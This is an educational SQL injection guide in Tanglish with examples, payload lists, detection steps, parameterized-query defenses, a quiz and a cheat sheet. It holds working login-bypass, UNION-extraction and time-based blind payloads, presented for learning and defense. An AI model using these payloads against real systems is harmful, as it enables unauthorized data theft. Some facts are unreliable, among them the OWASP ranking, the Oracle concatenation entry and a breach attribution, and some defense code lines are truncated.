⚠ ETHICAL HACKING STUDY MATERIAL

SQL Injection Complete Guide

Tanglish-la complete-a படிக்கலாம் — Beginners to Advanced

#1	7	10+	5
OWASP TOP 10	ATTACK TYPES	DEFENSE TIPS	QUIZ QUESTIONS

TABLE OF CONTENTS

- → SQL Injection என்னன்னு?
- → எப்படி Work ஆகுது?
- → Attack Types
- → Common Payloads
- → Real World Examples
- → எப்படி Detect பண்றது?
- → Defense Techniques
- → Tools
- → Quiz Time!
- → Cheat Sheet

01 SQL Injection என்னனு தெரியுமா?

Simple-a சொல்லணும்னு...

Database-கிட்ட நாம் query பண்ணும்ல — அந்த query-ல **malicious SQL code-ஐ inject** பண்ணி database-ஐ hack பண்றதுதான் SQL Injection.

எப்படி இருக்குன்னு, ஒரு form-ல username கேக்குது — நீ username-ஓட கூட SQL command போடுறே — அந்த command database-ல run ஆயிடுது!

OWASP Top 10-ல #1 Position! World-wide-ஆ மிகவும் common-ஆ நடக்கற web vulnerability இதுதான். 2003 முதல் இன்னும் வரைக்கும் கொடுமையா இருக்கு.

Attacker என்ன பண்ணலாம்?

- Login bypass பண்ணலாம்
- All users data திருடலாம்
- Database delete பண்ணலாம்
- Admin access எடுக்கலாம்
- Credit card info திருடலாம்

யாருக்கு நடக்கும்?

- E-commerce sites
- Banking applications
- Hospital portals
- College/School sites
- Any login form-உள்ள site

02 எப்படி Work ஆகுது?

Normal-ஆ ஒரு login form எப்படி work பண்ணுதுன்னு பாக்கலாம்:

normal_login.sql

```sql
-- Normal login query (backend-ல இப்படி இருக்கும்)
SELECT * FROM users
WHERE username = 'admin'
AND password = 'mypassword123';

--    Valid user இருந்தா → Login success
--   இல்லன்னா → Login failed
```

இப்போ attacker **' OR '1'='1** ன்னு username-ல போட்டா என்னாகும்?

sql_injection_attack.sql

```sql
-- Attacker இப்படி type பண்ணான்:
-- Username: admin'--
-- Password: anything
```

```
SELECT * FROM users
WHERE username = 'admin'--'
AND password = 'anything';

-- '--' என்பது SQL comment!
-- Password check-ஐ skip பண்ணிடுது!
-- Result: Admin-ஆ login ஆயிட்டான்

-- இன்னொரு example:
SELECT * FROM users
WHERE username = '' OR '1'='1'--'
AND password = 'abc';

-- '1'='1' always TRUE!
-- எல்லா users-உம் return ஆகும்!
```

Key Concept: Application user input-ஐ sanitize பண்ணாம directly SQL query-ல போட்டா — attacker-கு door திறந்ததே!

03 Attack Types — வகைகள்

In-Band

Classic / In-Band SQLi

Attack பண்றதும் result பார்க்கறதும் same channel-ல நடக்கும். மிகவும் common type. Error-based மற்றும் Union-based இதுல வரும்.

Error

Error-Based SQLi

Database error messages-ல இருந்து information extract பண்ணுங்க. Server error-ஐ வச்சு database structure தெரிஞ்சுக்குவாங்க.

Union

Union-Based SQLi

UNION SQL operator-ஐ use பண்ணி original query-கிட்ட extra query attach பண்ணி multiple tables-ல இருந்து data திருடுவாங்க.

Blind

Blind SQLi — Boolean Based

Database direct output காட்டல — TRUE/FALSE response-ஐ வச்சு information guess பண்ணுவாங்க. Slow but powerful.

Time

Blind SQLi — Time Based

SLEEP() function use பண்ணி response delay-ஐ வச்சு data extract பண்ணுவாங்க. Error-உம் காட்டல, output-உம் காட்டல — ஆனு time-ல தெரியும்!

OOB

Out-of-Band SQLi

Different channel வழியா (DNS, HTTP requests) data திருடுவாங்க. இது rare — specific database features available-ஆ இருக்கணும்.

04 Common Payloads — தெரிஞ்சிரு!

Educational Purpose மட்டும்! இந்த payloads-ஐ CTF challenges, your own test environment, அல்லது permission-இருந்தா மட்டும் use பண்ணு. Unauthorized systems-ல try பண்றது illegal!

payloads.sql

```
── LOGIN BYPASS PAYLOADS ──
' OR '1'='1        -- Always true condition
' OR '1'='1'--      -- Comment rest of query
' OR '1'='1'/*      -- Block comment version
admin'--           -- Skip password check
admin'/*           -- Alternative comment
' OR 1=1--         -- Without quotes

── UNION BASED PAYLOADS ──
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT username,password FROM users--
' UNION SELECT table_name,NULL FROM information_schema.tables--

── ERROR BASED PAYLOADS ──
```

```
'            -- Single quote - error trigger
"            -- Double quote
;SELECT SLEEP(5)--     -- Time based detection

── INFORMATION GATHERING ──
SELECT @@version               -- Database version
SELECT user()                  -- Current DB user
SELECT database()              -- Current database name
SELECT table_name FROM information_schema.tables
```

time_based_blind.sql

```
-- Time-based blind SQLi example
-- True condition → 5 seconds delay
'; IF (1=1) WAITFOR DELAY '0:0:5'--  -- MSSQL
' AND SLEEP(5)--           -- MySQL
' AND pg_sleep(5)--          -- PostgreSQL

-- இப்படி attacker ஒவ்வொரு character-ஐயும்
-- guess பண்ணுவான்! (Slow ஆனா effective)
' AND IF(SUBSTR(password,1,1)='a',SLEEP(5),0)--
```

05 Real World Examples — நிஜத்தில் நடந்தது

Heartland Payment Systems (2008)

130 million credit card numbers திருடு போச்சு. SQL injection through a web form. Loss: $140 million+ dollars! இது history-ல மிகவும் பெரிய data breach.

UK National Health Service (2012)

"LulzSec" group NHS websites-ல SQL injection பண்ணி patient data எடுத்தாங்க. Public health records exposed ஆச்சு.

- **Sony PlayStation Network (2011)**

77 million accounts compromise ஆச்சு. SQL injection + poor security. PSN 23 days-க்கு offline போச்சு. Loss: $170 million.

இந்த companies-எல்லாம் large companies! Small websites-ல இன்னும் easy-ஆ attack பண்ணலாம். **Patch** பண்றது நம்ம **responsibility!**

06 எப்படி Detect பண்றது?

Tester-ஆ/Defender-ஆ நீ SQLi vulnerable-ஆ இருக்கான்னு எப்படி check பண்றது:

1. **Manual Testing — Single Quote Test**

   Input field-ல `'` (single quote) type பண்ணு. SQL error வந்தா — vulnerable! "You have an error in your SQL syntax" மாதிரி error வந்தா confirmed.

2. **Boolean Testing**

   `1=1` vs `1=2` test பண்ணு. URL-ல `?id=1 AND 1=1` மற்றும் `?id=1 AND 1=2` — response different-ஆ வந்தா vulnerable.

3. **Time-Based Detection**

   SLEEP() payload போட்டு response time measure பண்ணு. 5 seconds delay வந்தா — time-based blind SQLi possible.

4. **Automated Scanning**

   SQLMap, Burp Suite, OWASP ZAP மாதிரி tools use பண்ணி automatically scan பண்ணலாம். ஆனா permission-இருந்தா மட்டும்!

07 Defense Techniques — எப்படி தடுக்கறது?

> **Good news!** SQL Injection-ஐ prevent பண்றது மிகவும் easy! சரியான coding practice follow பண்ணு போதும்.

1. Prepared Statements / Parameterized Queries — Best Solution!

defense_prepared_stmt.php

```
//  ❌ VULNERABLE CODE — இப்படி பண்ணாதே!
$query = "SELECT * FROM users WHERE username='$username' AND password='$pa
$result = mysqli_query($conn, $query);

//  ✅ SECURE CODE — Prepared Statement use பண்ணு!
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

// Python (with mysql-connector)
cursor.execute(
  "SELECT * FROM users WHERE username=%s AND password=%s",
    (username, password)  # Parameters separate-ஆ போகும்!
)

// Java (JDBC)
PreparedStatement stmt = conn.prepareStatement(
  "SELECT * FROM users WHERE username=? AND password=?"
);
stmt.setString(1, username);
stmt.setString(2, password);
```

2. Input Validation & Sanitization

input_validation.php

```
// Special characters-ஐ escape பண்ணு
$username = mysqli_real_escape_string($conn, $_POST['username']);
```

```
// Whitelist validation – only expected characters allow பண்ணு
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
    die("Invalid username!");
}

// Length check
if (strlen($username) > 50) {
    die("Username too long!");
}
```

3. மற்ற **Important Defense Measures**

- **Least Privilege Principle** — Database user-க்கு minimum permission மட்டும் கொடு. App-க்கு DROP TABLE permission வேண்டாம்!
- **Error Messages Hide** பண்ணு — Users-கிட்ட SQL errors காட்டாதே. Log-ல மட்டும் வச்சுக்கோ. Generic error messages காட்டு.
- **WAF (Web Application Firewall)** — ModSecurity, Cloudflare WAF மாதிரி tools use பண்ணி suspicious requests block பண்ணு.
- **ORM Use** பண்ணு — Hibernate, SQLAlchemy, Eloquent மாதிரி ORMs automatically parameterize பண்ணும்.
- **Regular Security Audits** — Code review, penetration testing regularly பண்ணு. OWASP ZAP மாதிரி tools use பண்ணு.
- **Database Encryption** — Sensitive data-ஐ encrypt பண்ணி store பண்ணு. Even if stolen, useless-ஆ இருக்கும்.

08 Tools — என்ன use பண்ணுங்க?

TOOL	PURPOSE	TYPE	BEST FOR
SQLMap	Automatic SQL injection detection & exploitation	Offensive	Automated testing

TOOL	PURPOSE	TYPE	BEST FOR
Burp Suite	Web app security testing platform	Both	Manual + Auto testing
OWASP ZAP	Free security scanner	Defensive	CI/CD integration
Havij	SQL injection tool (educational)	Offensive	Learning purposes
DVWA	Damn Vulnerable Web App — practice environment	Practice	Beginners practice
HackTheBox / TryHackMe	Online CTF platforms	Learning	Hands-on practice

Practice எங்க பண்றது? DVWA local-ல setup பண்ணு, அல்லது TryHackMe / HackTheBox-ல free rooms-ல legal-ஆ practice பண்ணு!

09 Quiz Time! — தெரியுமா பார்க்கலாம்

Q1 **SQL Injection-ல** எந்த **character-ஐ** முதல்ல **test** பண்ருங்க?

A) @ symbol

B) Single quote (')

C) Hash (#)

D) Semicolon (;)

Q2 **SQL Injection-ஐ prevent பண்ண best method எது?**

A) Input length check மட்டும்

B) JavaScript validation

C) Prepared Statements / Parameterized Queries

D) HTTPS use பண்றது

Q3 **Time-based blind SQLi-ல எந்த function use பண்ணுங்க (MySQL)?**

A) DELAY()

B) WAIT()

C) SLEEP()

D) PAUSE()

Q4 **OWASP Top 10-ல SQL Injection எந்த position-ல இருக்கு?**

A) #1 (Injection)

B) #3

C) #5

D) #10

Q5 `' OR '1'='1` **இந்த payload என்ன பண்ணும்?**

A) Database delete பண்ணும்

B) WHERE condition-ஐ always true-ஆ மாத்தும்

C) Table drop பண்ணும்

D) Error generate பண்ணும்

10 Quick Cheat Sheet — வேகமா படிக்க

SQL Comments

`--`	MySQL, MSSQL
`#`	MySQL only
`/**/`	Block comment
`/*!*/`	MySQL special

DB Version Detect

`@@version`	MSSQL/MySQL
`version()`	PostgreSQL
`v$version`	Oracle

String Concatenation

`'a'+'b'`	MSSQL
`'a' 'b'`	Oracle
`CONCAT('a','b')`	MySQL

Time Delays

`SLEEP(5)`	MySQL
`pg_sleep(5)`	PostgreSQL
`WAITFOR DELAY '0:0:5'`	MSSQL

Exam-க்கு Remember பண்ணு!

SQLi = User input-ஐ sanitize பண்ணாம query-ல போடுவதால் வரும்

Prepared Statements = Best defense

UNION = Multiple table data திருட

SLEEP() = Time-based blind detection

' (single quote) = First test character

-- (double dash) = SQL comment = Password bypass

OWASP Top 10 #1 = Injection (incl. SQLi)

SQLMap = Most popular automated SQLi tool

SQL Injection — Complete Study Guide in Tanglish

Ethical hacking மட்டும் பண்ணு. Unauthorized systems-ல இந்த knowledge use பண்றது illegal & punishable. Always get permission!

For CTF | Ethical Hacking Certification | Web Security Learning